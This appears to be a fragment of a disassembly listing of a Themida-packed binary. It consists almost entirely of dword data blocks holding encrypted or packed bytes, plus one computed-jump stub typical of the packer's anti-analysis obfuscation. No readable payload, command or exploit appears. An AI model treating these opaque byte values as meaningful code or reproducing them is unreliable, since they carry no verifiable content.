		dd 11C18E56h, 0B4377BAAh, 25DFB7Eh, 10C592DAh, 50E6FDA9h
		dd 0C5AE3174h, 0C11562FAh, 0C7F64EFAh, 0DAE3F4C1h, 912CAB88h
		dd 92F13BB3h, 9EAC9638h, 215h, 0FC4E716Bh, 0B709B41Fh
		dd 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h,	7E533082h
		dd 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0B92D7BDh, 89F0EB58h
		dd 8E43C512h, 71687F2Bh, 26B0524Fh, 0AE009830h,	0F2C909D6h
		dd 0B4BFEE46h, 0AF2E422h, 48C8C62Bh, 0A450E8D0h, 0A962B44Ch
		dd 0B1F9A513h, 0E502E8ABh, 666C3457h, 58060380h, 48F4CB0Dh
		dd 0D3022AF0h, 357B274Fh, 58060353h, 17BB885Eh,	308EEF4h
		dd 0F41C5806h, 0A535055Ch, 0FB3AFCCh, 0D7CC8EE0h, 0F8D9648Eh
		dd 0E070h, 369B6800h, 176D5483h, 2F8C4Ah, 0B225E1F5h, 0BFC7730Bh
		dd 2DD9E6F2h, 3C9BA6D5h, 0DC8FD581h, 851F1ECh, 0A5C9C431h
		dd 3B4150DFh, 51F29855h, 7AA94169h, 0C54676Fh, 61C18035h
		dd 4B7ADCEEh, 4296633Bh, 1AA3307Dh, 0DCE7166Eh,	915C1FAh
		dd 0E3ABF39Bh, 0F222F7DDh, 0B4E30B51h, 7405A8AEh, 6B9357E5h
		dd 1FCF3D19h, 26ADD1D7h, 0EEBB5DFBh, 22A6D5EAh,	0E02D8C45h
		dd 0E42CC4F5h, 0CDFCBF17h, 2BDDFAC7h, 106814A7h, 8E492678h
		dd 74A7512Fh, 543E3893h, 0E446h, 7F409C00h, 3A83502Dh
		dd 0F4C70BE8h, 0A910C5A2h, 605D7A57h, 0CDE3D50Eh, 8461B30Ah
		dd 3D1A6C4Dh, 0F5D2249Bh, 7C88DAE1h, 9408EEF4h,	211C580Bh
		dd 0F8C512BAh, 0AE0DC9A6h, 1EB7845Ch, 0E1E7EF9Bh, 51F1E7FBh
		dd 204FE70Fh, 894A1739h, 1308834h, 2FDBE0F6h, 0B507B422h
		dd 0C40E6BD9h, 57CA9E38h, 0BD5533DFh, 0D921B911h, 44F0C90Ch
		dd 0B1B7BDECh, 57EC5740h, 8E96426Ah, 79A817C1h,	153686Eh
		dd 5D09B224h, 0C6960E17h, 0BA01D11Eh, 2A61F70Eh, 65AB5D80h
		dd 52FEBF18h, 99183A1Eh, 2EC37FE3h, 9C487761h, 0CC0A1544h
		dd 16C09DEFh, 24F1F9A5h, 72585EAFh, 86A0E92Eh, 0C21AC65Eh
		dd 0AD596075h, 0BA1B2655h, 5CFE53FFh, 0EBD0063Eh, 0A11ABC99h
		dd 0B620EDF5h, 81B0E046h, 720A56BEh, 33743h, 0E48E0000h
		dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 696833B8h
		dd 89000071h, 8957243Ch, 4C781E7h, 83000000h, 3C8704EFh
		dd 34895C24h, 6F76824h,	14890000h, 22C4BE24h, 4E465F32h
		dd 2414F756h, 49EE815Eh, 549AB43Ch, 8124148Bh, 4C4h, 0F0895000h
		dd 242C8150h, 10033B9Ch, 8108428Fh, 3B9C0842h, 0FF581003h
		dd 815A2434h, 4C4h, 24348B00h, 81E38953h, 4C3h,	4C38100h
		dd 87000000h, 0E95C241Ch, 0FFFAD013h, 998D13E0h
		db 10h,	9Bh, 16h
; ---------------------------------------------------------------------------


loc_5A39F3:				; CODE XREF: Themida_:005A2C7Cj
		mov	eax, 619AD93h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 1A911019h, 455707E3h, 11A16765h, 1C09F2BAh, 55A9BA9Dh
		dd 9ED30C0h, 10148AF3h,	2539F6C4h, 2E325653h, 0AF6DC8Eh
		dd 187EBF9Ch, 660DD15Ch, 764A2EE3h, 3F8B7C7Eh, 5A53B84Bh
		dd 5894F75h, 23CD90E8h,	7615E918h, 380EA425h, 7D4AF078h
		dd 3E0FBE1Fh, 36FE281Eh, 59B6D704h, 38508E4Bh, 6B84112Bh
		dd 38FED37h, 2A79AED0h,	181E9h,	2BED0700h, 9D692C03h, 614DFA85h
		dd 0BC59844Dh, 0B757A10Ah, 0B457B553h, 0BF59350Ah, 9470CC53h
		dd 0C625273Ah, 3D71D853h, 39C504D1h, 81B7A89Dh,	0F014C552h
		dd 12853h, 0
		dd 400h, 2 dup(0)
		dd 2F00h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 45h dup(0)
		dd 0FBE90000h, 68000016h, 619B225h, 0FB96A9E9h,	0B32C68FFh
		dd 9FE90619h, 68FFFB96h, 619B40Fh, 0FB9695E9h, 0B4D268FFh
		dd 8BE90619h, 68FFFB96h, 619B679h, 0FB9681E9h, 0B80968FFh
		dd 77E90619h, 68FFFB96h, 619B8CCh, 0FB966DE9h, 0B99168FFh
		dd 63E90619h, 68FFFB96h, 619BBCEh, 0FB9659E9h, 0BCA068FFh
		dd 4FE90619h, 68FFFB96h, 619BD3Eh, 0FB9645E9h, 0BDBB68FFh
		dd 3BE90619h, 68FFFB96h, 619BF69h, 0FB9631E9h, 0C4CA68FFh
		dd 27E90619h, 68FFFB96h, 619C5B5h, 0FB961DE9h, 0E98983FFh
		dd 6CFE0418h, 0F179879Bh, 73F50C20h, 0FA788EA2h, 82EF1429h
		dd 91DEE84h, 91A576FAh,	172BFC74h, 4DAF80E8h, 0A9D86C08h
		dd 0F5533046h, 4226D9A5h, 0AEBA4589h, 49F109DDh, 0C490F2FDh
		dd 0FA8E2ABFh, 752A2DE0h, 0FFC253E4h, 11117A63h, 22C7FF34h
		dd 0FFB7E5F9h, 4FDB9425h, 304120B7h, 0F9B2B649h, 0A573D611h
		dd 68FC6B8Eh, 1D1CD59Bh, 5BADBDB9h, 4DF071F5h, 406FA7BBh
		dd 48h,	8B27AA42h, 2A2CF9F7h, 0A4A8E172h, 45C88B8Ch, 0F99226C2h
		dd 7C0D2A2Ch, 207EB743h, 40033410h, 411410A4h, 69FA8B30h
		dd 17B452A6h, 3BEA41A7h, 0D710A1FDh, 0AE4AE26Eh, 0B81E3041h
		dd 0D110B3BEh, 5036FA7h, 5000001h, 7F4226D9h, 0DA93D72Bh
		dd 0B3F76099h, 22661F53h, 8ED28BDDh, 47305071h,	0E4FFEEE1h
		dd 0C73C9053h, 76AFF0A9h, 10BAB2F5h, 6C4ABDD8h,	98EB77B0h
		dd 712A2C9Dh, 1679AEEh,	2D959125h, 427B0C2Ah, 966701FEh
		dd 32EB7D82h, 0D8986BBFh, 95E57915h, 0D7682A2Dh, 81829A9Eh
		dd 1B433BBEh, 0C181E627h, 0E5B6427Bh, 483410E4h, 0D89529C5h
		dd 87183041h, 0D89428C4h, 86173041h, 0A669FA4Dh, 3733CF23h
		dd 0CD613D7Eh, 503041D8h, 310586BFh, 0B9551819h, 3A289057h
		dd 25619AAh, 57AB6E04h,	0C708C1A9h, 659ED233h, 3C36D0E4h
		dd 0BA069473h, 2472EDE0h, 1449h, 93640EFEh, 16E7837Fh
		dd 9B6CFE02h, 1DEE7A87h, 0A475FD09h, 9FD6A8Fh, 7F849869h
		dd 0F90C20F1h, 6D92A677h, 83C82AFBh, 46AB53E7h,	2878D630h
		dd 379E2DD9h, 0C81C5EECh, 0AABE8F20h, 58501355h, 0CE29DB68h
		dd 48E79DBDh, 62F7FAAEh, 0C91798D1h, 3D000119h,	0D39D66BAh
		dd 14A0D91Ah, 34101FDBh, 97D92A7Eh, 11649DDEh, 0D154C780h
		dd 141EB24Eh, 10A13041h, 4113A034h, 518A1B30h, 41142DC5h
		dd 0DB9B0130h, 0A736F396h, 0BBE66Fh, 0D9E80000h, 45894226h
		dd 6CF8B1C1h, 2A2C0619h, 4669CF0h, 8C760A4Bh, 0ABE425DEh
		dd 0FFD09867h, 9B5414EBh, 3C2ED428h, 5094283h, 0A629ECEDh
		dd 2CFD760Ah, 2F68F92Ah, 0AE4139BCh, 0C1E33DEBh, 0C3942059h
		dd 0A6341111h, 0EF8BB352h, 3041E15Bh, 83BC4DDEh, 0FACE9F30h
		dd 821EE1E2h, 3A289E11h, 4D23E034h, 6D30C114h, 0B485ED19h
		dd 430C66A0h, 0E0BA32FAh, 421A68E3h, 5000013h, 869A6B07h
		dd 91DEE7Ch, 8EA273F7h,	1024F573h, 96AB7CF6h, 70020461h
		dd 0F8788B9Fh, 7EF21327h, 26699ADh, 0EE8ACF31h,	3046AC5Ah
		dd 0D92777D5h, 6074452Dh, 0B5F8C99Fh, 0BDCC16BDh, 0F48DBF2h
		dd 0AD56AA91h, 0D06400C3h, 4B2A2CF9h, 0C23D81BAh, 827AEDA6h
		dd 93716D24h, 0EC306943h, 36CF2313h, 6CCA5E3Ah,	0AC542A2Dh
		dd 528A1BBEh, 1069A79Ch, 0A8790A0Ah, 45FE6C94h,	1FB34FD2h
		dd 9A2A2D34h, 738CD009h, 8DE124F5h, 0FA3BF474h,	14CD9B66h
		dd 0C7419AD3h, 0DB9E9FB7h, 10597E3Fh, 9A720334h, 0BA56B34Ch
		dd 6C6D8529h, 38480DA9h, 0B44525AEh, 0DEDFF7FBh, 0AD3C7F1Bh
		dd 0A2252B9Dh, 0ACEF831Fh, 0D96A1BCAh, 0CAAC69FDh, 1A53E41Bh
		dd 1F7336C7h, 0A3B788E0h, 0F0430C5Ch, 0B91125DDh, 125FF03Eh
		dd 24E80000h, 99697D4Eh, 14EC00D1h, 90718556h, 13F307D8h
		dd 44798E5Fh, 82531FE7h, 0ADB956Eh, 90610FF6h, 14E5837Ch
		dd 3DD16DB2h, 0C03046AEh, 27AA1262h, 633F33D3h,	2A2CF9CFh
		dd 3C80B94Ah, 0E8ECA5C3h, 700CCFD0h, 34100BA3h,	9BCD3286h
		dd 0AD7E0F62h, 49026699h, 692C2D45h, 2ABAE3CDh,	6D92263Ah
		dd 5E01B354h, 4958927h,	0A35CB073h, 2EB1F4C5h, 3AB6FE92h
		dd 0B7F0812Ah, 23DC8C73h, 4306071Fh, 24699DA7h,	0D0932434h
		dd 0D0B73DD8h, 6AA37F89h, 0C5CA3F7h, 90D8273Bh,	0F01064D7h
		dd 4780C17Ah, 672A2B43h, 20B448E4h, 0A6373041h,	0B15EFA6Dh
		dd 0DC3A2435h, 40C5824Bh, 8702E0B8h, 119C39h, 1161AB00h
		dd 94D62C40h, 1951AFC3h, 9BCD3448h, 2250B6CAh, 0AA873C51h
		dd 3145165Ch, 0B9CD9ED2h, 3F53244Ch, 75D7A8C0h,	0AE009430h
		dd 1D7B3046h, 452DD9CDh, 8788A074h, 1E8F28C4h, 6FF23410h
		dd 41133FD3h, 0F029BA30h, 0F530C9Dh, 93A778F0h,	9A2ECA6Ch
		dd 15304112h, 0AF93E4DDh, 0DF7062F6h, 0B3938B4Eh, 0D1B5DE16h
		dd 0FBF22A60h, 60F17907h, 0A2BABE27h, 4DE6DEA1h, 5DF18D26h
		dd 0E0304117h, 3EFB174Fh, 0E39CCE32h, 65D811A2h, 24760CC9h
		dd 0D149813Ah, 0DA22A4BAh, 4A036F97h, 2EE77809h, 9C551BEAh
		dd 7C0AA58h, 863040C3h,	2CA4B6B0h, 0F8075016h, 0B3CB9F70h
		dd 0E96CEFB2h, 2DC5B94Dh, 0ADBD432Ah, 7F10B3F4h, 995216EBh
		dd 0FA931F58h, 5F3410EAh, 0CEAC40DCh, 730F3041h, 3041CEDFh
		dd 9526C95Ah, 0BF78095Ch, 2BE4847Bh, 6D3A3C90h,	0F5915455h
		dd 3A24F35Ch, 0B5B54DE1h, 592ABBFCh, 2F41C216h,	4A03679Bh
		dd 738CD009h, 0D1C93CF5h, 51CDF43Eh, 692CBB5h, 2A2CF66Eh
		dd 0D285E145h, 0F5783B2Dh, 2DF6C559h, 2BA6B32Ah, 0A6B68C59h
		dd 0B8397203h, 0F90A5BA4h, 2B23E677h, 3BAD85E2h, 0FF68A14Ch
		dd 0ABFD948Ch, 0C6B94E88h, 7071898Dh, 0D06C11ADh, 80113410h
		dd 0DF9F86AFh, 6703C6C7h, 3A2B7785h, 8D936BFCh,	0B440F979h
		dd 2A3A5F1Ch, 12D5D6EEh, 24117476h, 8346D734h, 0E099D12Fh
		dd 0B2DDDFF8h, 0C2536ED9h, 3DC21689h, 0B9465A2Bh, 2F83F6AFh
		dd 9CDD96D2h, 8BE71F63h, 0ACCA1FC2h, 7BC944E6h,	0FF5h
		dd 0E7B8BA52h, 6A3B2FD3h, 0EFC0AA56h, 714226DBh, 0F8C9A95Dh
		dd 0B5513EE3h, 2BD8ECBDh, 0A5607445h, 19E6FACBh, 0D71C7E4Fh
		dd 46AFA73Bh, 74C42230h, 9B9E2DD9h, 3736FA98h, 0EDD2C6FEh
		dd 0A7FD35A3h, 0AE024516h, 0B347E353h, 362A2CFEh, 97DB14A5h
		dd 0E93D0068h, 579B541Ch, 0C90AC3AFh, 2396FF38h, 0FC86392Bh
		dd 3A735A89h, 0A65F09F6h, 342343A7h, 89CC9DCBh,	9F5CC35h
		dd 29463CF2h, 2B6C25B6h, 7515B8F2h, 8B086993h, 0A000001h
		dd 0C0AA56AAh, 498DC607h, 1B57AFB6h, 0D7902162h, 2BFC6C93h
		dd 7B3E3F57h, 1029F6DFh, 31EA7B34h, 412A0DA5h, 199CE130h
		dd 4129E97Dh, 9AD36430h, 45C86006h, 412A15A9h, 0CE079830h
		dd 0A748F194h, 4BE46Fh,	0F9F10000h, 1DAFCADCh, 481DF023h
		dd 0E9CD0F70h, 0AAA11F58h, 84BDAB56h, 0A4676880h, 84BDB350h
		dd 203C7511h, 0B0413410h, 36799EDh, 67D0094Ah, 0D63A0F4h
		dd 13B048D4h, 1E843041h, 36761958h, 0C0696FA7h,	76000000h
		dd 568FE122h, 4226D9D8h, 0B1C14589h, 0D23185F8h, 6BA4E59Eh
		dd 0CD90D827h, 28E18979h, 145AEE7h, 3D996AFEh, 2A2C05EAh
		dd 14D7916Eh, 0EF2741C0h, 38D5AEA2h, 0B8397220h, 0C256F275h
		dd 3D2A2D8Dh, 576F73ACh, 0F79356h, 8934144Ah, 25E135F8h
		dd 0B6397C4Dh, 10C99F62h, 195FF3CFh, 49DA3043h,	1956EA86h
		dd 48D93043h, 373BCB0Fh, 0AE4EE56Eh, 0F947C2E6h, 0E65h
		dd 77482AE2h
		dd 0FACB9F63h, 7F501AE6h, 1D2966Bh, 885919EDh, 25E14E73h
		dd 9B687C4Dh, 15F004D5h, 89768A5Bh, 67AC0EDFh, 46B237CBh
		dd 454B230h, 570B2AAh, 0ACFC8E1Dh, 98D72F73h, 94A036Dh
		dd 6C93A778h, 0D9DD2BFCh, 45894226h, 0F56ABBAh,	7CBD76F2h
		dd 0F88C28EBh, 732A2CF9h, 6C8051E2h, 181CD593h,	0E83CFF00h
		dd 5697501Ah, 0AD0EAA1Dh, 0E0341013h, 0B0607E4Fh, 9B000007h
		dd 51B0BF47h, 8C1D5E17h, 2DD9D553h, 0D22E8245h,	659EDF98h
		dd 0F9D870FCh, 92AA2A2Ch, 3832CE91h, 0BB3416ACh, 61E4672Ah
		dd 46A831C5h, 0E21BAC30h, 3607619Eh, 0D28BDD22h, 31FA788Eh
		dd 0E6A1C09Ah, 0A22674EFh, 0A500000Dh, 263A0B67h, 0A9BD8EDCh
		dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h,	98D82B3Fh
		dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046B1FAh,	0D9C71775h
		dd 2E82452Dh, 9BDC95D3h, 32CDE162h, 0C6397D36h,	86EAE9A2h
		dd 0E08877E0h, 0F87B251Dh, 1E5614EEh, 84BDC37Fh, 1756F903h
		dd 20496994h, 4B000000h, 0BA89B2AAh, 0F2A88A3Ch, 0B6C917BAh
		dd 0F0295CD3h, 2C723F64h, 0B6BA492Ah, 0FDBA8725h, 0AAB7FFFFh
		dd 0FFC2B056h, 2CF9CF63h, 80B94A2Ah, 2CF95CF4h,	15162E2Ah
		dd 8A7BCF52h, 0B3EC2DE6h, 16AC3527h, 581BAC34h,	1DADDDD5h
		dd 183A2068h, 4649BDFh,	88E01F33h, 0F77B8BCFh, 0A10E892Eh
		dd 2D7BF6E6h, 0CDDh, 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h
		dd 10E19175h, 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h
		dd 0EF349667h, 46B2BF53h, 8CDC3A30h, 0C73F26D9h, 1D611AABh
		dd 0CECD86E2h, 0D82C0C6Ah, 0E32A9E2Bh, 0C8224E6Bh, 7A3D7E37h
		dd 2D1E4ADEh, 0FB34C52Ah, 4F2048B7h, 0A7C0140Ch, 7EFE24D1h
		dd 24680B45h, 0D5B6993h, 5D000000h, 2C106C91h, 0FD85232Ah
		dd 0B5FFFFFCh, 3D000119h, 185119E9h, 17BC09A5h,	20B13410h
		dd 0C42DB67h, 0B2183041h, 2A0AADB4h, 0F5FD6FA7h, 0A000001h
		dd 0F99B8C12h, 0FF3842C2h, 0FA299181h, 0EC5E2A2Ch, 0AE7FE916h
		dd 4A03659Ah, 0EE8283D7h, 0F97929B5h, 1172A2Ch,	580DF265h
		dd 9306BFA9h, 2CF963F7h, 0C455E62Ah, 0F9D16501h, 0BB4C2A2Ch
		dd 6785592Ah, 8E71B56Eh, 72C609DAh, 5CA0D98Fh, 0AE02C5A3h
		dd 775F1852h, 74A8B07h,	639C2D24h, 53C66EFAh, 0D51A2A2Dh
		dd 5422B652h, 0D4082A2Dh, 10D39505h, 0CE32C669h, 3ED20B9Ch
		dd 4E963938h, 71896993h, 8B000001h, 0C03F26D9h,	1AAEEFA8h
		dd 31F485EBh, 0F97E12AEh, 70012A2Ch, 758ACE37h,	0E7DF22F3h
		dd 0CF6C5629h, 0C104935h, 9430F3F4h, 341096ABh,	0F8843DCEh
		dd 30415560h, 0C9A8CE34h, 6FA77426h, 2719h, 1191B00h, 68A13D00h
		dd 0ED341020h, 0DC30A35Ch, 4F904927h, 13F28A16h, 60C63041h
		dd 36B85B06h, 0F4AB6FA7h, 0AD000000h, 7F4226D9h, 2ACB04FCh
		dd 5678E696h, 2D26E67Ah, 0E58B782Ah, 7679B142h,	29D315B1h
		dd 83C73069h, 5015EC83h, 0BEFFB8B2h, 85D99C2Dh,	0F438F181h
		dd 91CA5B0Dh, 0DCBDB528h, 484B7743h, 560F61A2h,	74B8415h
		dd 44B770F8h, 86B9804Ch, 2D0656EAh, 1048D92Ah, 0C4FD9623h
		dd 20E67F80h, 0C7589952h, 0DECF9AF6h, 3EC12A2Ch, 0D5BA4F8h
		dd 2DCE9D31h, 0FE8F202Ah, 6A96EA2Dh, 1464C800h,	1D2DAF25h
		dd 0C7C8E0E4h, 62FE8104h, 2A2D5FCEh, 0FB87C051h, 34141C04h
		dd 0DD31F485h, 4DB34723h, 1D71E41Dh, 0A4B889E9h, 79F90D62h
		dd 0BC901FE8h, 9611E6AEh, 0AA048h, 0D65A700h, 90DA283Ch
		dd 1555ABBFh, 97D13044h, 1E54B2C6h, 0A683384Dh,	2D411260h
		dd 0B5C99AD6h, 3B4F2050h, 71D3A4C4h, 0B4FC902Ch, 217F3046h
		dd 452DD9D1h, 9AD82E82h, 33CCE061h, 0D9166435h,	45894226h
		dd 0AA9607BAh, 0E1E8DBD9h, 14617F50h, 91000004h, 0C6DEA0C4h
		dd 836602C5h, 63416ACh,	0BFD79D75h, 942545BBh, 0C89435D1h
		dd 0C1F93A29h, 0A8D67807h, 0CA831450h, 3A6DA63Eh, 0A2C8382Ah
		dd 0C5CA5E9h, 76F05453h, 6D8216B2h, 6CFD2A3Ah, 4C4489DBh
		dd 0E9E64E2Bh, 4C26E06Ch, 88C15293h, 4CEF72F4h,	3F69A070h
		dd 373h, 0A956AA41h, 62FA86BFh,	0AC2A2CF9h, 2A2CFA1Dh
		dd 0FFC2C3DBh, 10204E63h, 713ACB34h, 0E6AC7738h, 0CE1C6AE5h
		dd 79000009h, 0FA0EDF93h, 7D916208h, 216E783h, 849869FFh
		dd 0A1FF082h, 0E48E78D5h, 6C04FF13h, 0F27E879Bh, 76F20D21h
		dd 62FE43A5h, 3046B5CEh, 0D9A3F351h, 85894226h,	26A96C6Dh
		dd 0F97307A3h, 33F62A2Ch, 2CFA0397h, 64F5862Ah,	0AC419F2Bh
		dd 0B7483416h, 761A0F4h, 61794DCEh, 11CAA65Dh, 0E07C3FD0h
		dd 3A305986h, 0E539FC8Dh, 2581521Eh, 2A2C06B5h,	95717587h
		dd 677B4CDDh, 0D71BD49Ch, 297D4028h, 9ADB94DCh,	0DCF4F861h
		dd 2B7C18DBh, 1E341006h, 6FC1C48Dh, 0F8AE6ACh, 930C1h
		dd 7DF51700h, 6A98ACh, 85E51B2Fh, 761A0B4h, 8EE42236h
		dd 1673A8BDh, 9DB182F0h, 25390A66h, 0ABBF90E0h,	0E1431454h
		dd 0B66C009Ch, 91EF3046h, 11941h, 0AC47A13Dh, 39CA3416h
		dd 8FE12276h, 0DF8978CCh, 0F21125A6h, 132680D7h, 1FB08776h
		dd 494A6266h, 6A8CEA86h, 0EE7F3A30h, 18193135h,	877ED255h
		dd 3324B0E9h, 9634103Bh, 70A9BF42h, 0D6C38C1Dh,	0CFE6AC4Ch
		dd 8B30654h, 78940000h,	0ED1529FAh, 6898AC7Dh, 0E41D3102h
		dd 679FB384h, 0F0253A0Bh, 2EFF7393h, 0B687E91Ah, 3C0D63A2h
		dd 0C091D728h, 0E97D195Eh, 643046B6h, 56AAB606h, 468AC3ADh
		dd 0A9B208B9h, 82B208C3h, 0BF438F1h, 1A78CFB6h,	0E44F87E9h
		dd 0F4AD3EA4h, 82D591F5h, 0D428EB7Dh, 83043D2Bh, 581AEC40h
		dd 0B542E51Fh, 0C8356993h, 42000001h, 215A18EEh, 0AD56AAA3h
		dd 90C90AC3h, 0B073748Ch, 1004B314h, 8C45D634h,	0B6312119h
		dd 4AC9D204h, 0EAED8511h, 7CC13041h, 0EAC95DF9h, 88243041h
		dd 3041EAF4h, 0B243E677h, 0EABF53EFh, 0A93A3041h, 0D79ADC70h
		dd 6FA80934h, 17A27h, 26D92900h, 1E168942h, 79311164h
		dd 76BAF388h, 3A0EDF89h, 89E71E22h, 0B09935F8h,	0D534105Bh
		dd 67FF8B44h, 0F93040FAh, 69AD660Ah, 0D417D098h, 92E476F0h
		dd 84274A2Ch, 776FA719h, 4Ah, 11979h, 0AA19E93Dh, 0CCDA3C1Bh
		dd 265FF0AFh, 26DE17B3h, 12A33410h, 1735CD59h, 3AC73041h
		dd 0CE31752Eh, 7EE2E19Ah, 0DB2072F8h, 0B7F07887h, 7B1E4323h
		dd 6E6FA739h, 0D0h, 5FA4F87Bh, 0AA13511h, 8B1C3041h, 26D9D452h
		dd 0C1458942h, 285F8B1h, 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh
		dd 431454ABh, 48A50800h, 403CD8E8h, 92187B07h, 0CE512A2Ch
		dd 2D619E32h, 5790212Ah, 524AEC13h, 0F7F9E98Ch,	0CD613D0Eh
		dd 502A2D9Dh, 895D2EBFh, 59AD7071h, 1588C1A9h, 145A8279h
		dd 0B3760734h, 0FACBA75Fh, 0CA9E63B7h, 0B9B94D91h, 0AE7D99F0h
		dd 418F0AE6h, 705h, 0D7A8CA42h,	5A2B3FC3h, 0DFB0BA46h
		dd 613236CBh, 0E8B9B94Dh, 0C5412ED3h, 3BC8DCADh, 0B5506435h
		dd 29D6EABBh, 0C70C6E3Fh, 46B8972Bh, 64B41230h,	97FFB2AAh
		dd 0CA13A743h, 5962A2Dh, 3CBADECDh, 2B47BF03h, 0F894175Ah
		dd 2A2DEB64h, 0D91D56E7h, 23714226h, 0D79B26D9h, 0C6A45EEFh
		dd 20D4FC8Eh, 8778CC8Fh, 0CC3FA8E1h, 0BB19AD49h, 3942A2Dh
		dd 0BB10A440h, 0FA8B2A2Dh, 0E6827DC1h, 49F715h,	0C4270000h
		dd 0B44CA06Fh, 4CB9FDB6h, 992A6B24h, 43445C60h,	0AB88E480h
		dd 0F2833416h, 7091E51Ah, 5C66BFF8h
		dd 0C7A35FB3h, 9094CD0Eh, 0BCB47778h, 6997BFFEh, 279AD30Eh
		dd 30642E8Bh, 724ADB3Ah, 5018E93Dh, 5FC917h, 0AAF90000h
		dd 9C2B056h, 738B8FC8h,	6E13AF72h, 0B341007h, 9D63B77Ah
		dd 9F2B94CDh, 3040EC00h, 0C982E818h, 17EF7E85h,	0D061A25Bh
		dd 9DD9EF17h, 294D23CDh, 0A265667Eh, 0FBF46106h, 5EA8FC2Dh
		dd 0E8B246E2h, 9C2D2A2Ch, 706A520Bh, 0D986BDC8h, 0D72A63F4h
		dd 0D62F8346h, 0C2E0619Ah, 9Eh,	119F2h,	0ACBFA13Dh, 0B1423416h
		dd 121BA7D0h, 8629482Eh, 796FACCAh, 76h, 1197Bh, 0ACBEA13Dh
		dd 0B2433416h, 241AA8D1h, 93D790E2h, 0E943FC6Ch, 62075313h
		dd 0D679F87Eh, 0C96FACCAh, 4Eh,	0FD0119CBh, 13D66703h
		dd 0A6C43C90h, 3CD0ACEDh, 0BF2A2CFAh, 0E682F52Eh, 3416AB8Ah
		dd 3931F485h, 5AB73014h, 0A9BD402h, 0DB8F73C7h,	4FA8E122h
		dd 3337CB73h, 0A1CF367Ah, 0E185E9E8h, 50E18F76h, 0C2AFC7ABh
		dd 6FAC4A1Fh, 0D12h, 4C911400h,	432A2C1Dh, 0FFFF06A5h
		dd 27AAD5FFh, 2CF9F78Bh, 0A8E1722Ah, 0C88B8CA4h, 16AC1E2Ch
		dd 1C756D34h, 7A546794h, 0FA3285BEh, 6B289C65h,	4B1DE2ADh
		dd 6C7029BAh, 0D905354h, 53DD4015h, 2E671A55h, 2FEE45A2h
		dd 0FEB7483Ah, 1EE1E2FAh, 17987882h, 0A76AFB34h, 3B35D024h
		dd 99C0C603h, 8417FFBh,	692C3EC4h, 0D5CCA671h, 0DD294EFEh
		dd 0A5410495h, 30464011h, 41C2FB8Ch, 9154556Dh,	2FF19BF5h
		dd 4A0D9E3Ah, 0E1972BC7h, 81122A2Dh, 8481D548h,	5ABF1BECh
		dd 7FC20495h, 0CA9AC787h, 43BFC05Ah, 9C2D6E27h,	88E01F63h
		dd 0C5CA3B7h, 36374F53h, 0C054F073h, 4AC253D9h,	0BBFCB5BBh
		dd 0DB4E8718h, 70020458h, 0FEEAB37h, 433BCC37h,	20B1C7DEh
		dd 0E619AC1h, 0A79CC47Dh, 0FAF48824h, 0E677C85Eh, 0A5D19ADh
		dd 8EA273F5h, 0FC40F977h, 68AB6406h, 9075E284h,	0FE9A1DE0h
		dd 0C85EFA6Ah, 0F59154E5h, 0C85EFA61h, 91124BDCh, 2FE8887Dh
		dd 4066EED6h, 9CD43126h, 197DCBh, 0FB044801h, 0B387E2C6h
		dd 68F9FE7Fh, 31986BAFh, 3014A741h, 0BE770871h,	2EE7897Ah
		dd 0E176F006h, 0D2BD4E22h, 4840F87Eh, 0B4A2FBCFh, 0EBEF28FCh
		dd 654E2CD2h, 79F8BF07h, 0FC0317E8h, 52B1A96Ch,	0C5CA5EAh
		dd 5CC14CD4h, 5A699223h, 934C1EE4h, 0BEF08420h,	0DA6B2A2Dh
		dd 53AFC046h, 0CECD8617h, 0D5E0C6Ah, 659ACDA9h,	0DD252B03h
		dd 39F2788Ah, 22AE67F8h, 2A2DBE8Eh, 1740263Ch, 9AAE7FEBh
		dd 0C04C056Bh, 2A2DBF27h, 3CC5199Ch, 0F932732Ch, 0AF560165h
		dd 0C394F0C1h, 0D52A2CDEh, 46874030h, 0FD892BB5h, 537A6993h
		dd 7CFFFFFFh, 0F78B27AAh, 722A2CF9h, 0B4B44DE1h, 0A0C8377Bh
		dd 0C8388CCFh, 4E2803FBh, 0A7386B04h, 0EA75ADEEh, 799E99B6h
		dd 0E8175B94h, 271EB24Eh, 10A12A2Dh, 9768BC7Fh,	266F039Fh
		dd 59EA2A2Dh, 0EAFE8FC8h, 6B725315h, 0B7481F57h, 3ADDD9B1h
		dd 2D699349h, 4Eh, 1192Fh, 0AC44A13Dh, 0B8493416h, 2915AED7h
		dd 94D891D9h, 0ED470072h, 840B5F17h, 0A4C43D91h, 0DD71AAEBh
		dd 0F5F60E99h, 5A399632h, 31B43A30h, 2CFA0195h,	57EB7C2Ah
		dd 388BC4ACh, 179ACFA7h, 2CF9E77Bh, 98D1622Ah, 374Ah, 1197A00h
		dd 17E93D00h, 49D91B53h, 1C9BDCBCh, 77D470E3h, 1234177Fh
		dd 9B6ABE81h, 0E20B9CD5h, 0C4A238DEh, 0F7BABBD3h, 540D5DA3h
		dd 0CB67DA13h, 3A30296Eh, 72B28A1Bh, 289B26D9h,	5A646BC0h
		dd 198C45D6h, 60FC3AC5h, 2A2D5BCCh, 0F42DBE4Fh,	48194FB0h
		dd 985B5C74h, 108C13FCh, 22E57634h, 3937CEh, 4B730B97h
		dd 0E1473041h, 6A39DC85h, 0EEE66FA7h, 0E97B5DEh, 0C2EF2852h
		dd 44h,	0E78B7BCFh, 0B2AA30AEh,	3BF9794Ch, 0C4C8015Dh
		dd 4CE8ABACh, 34107213h, 800CC556h, 304141E8h, 28E1877Ah
		dd 0B9A71CE4h, 9C247C61h, 86CA8314h, 6E44EE7Ch,	0AA106208h
		dd 0BE02A5CCh, 0BEF56FA7h, 0F7000000h, 894226D9h, 0F8B1C145h
		dd 9CD43185h, 88E01F63h, 0F1748BCFh, 5FA05911h,	0C2BAFDCEh
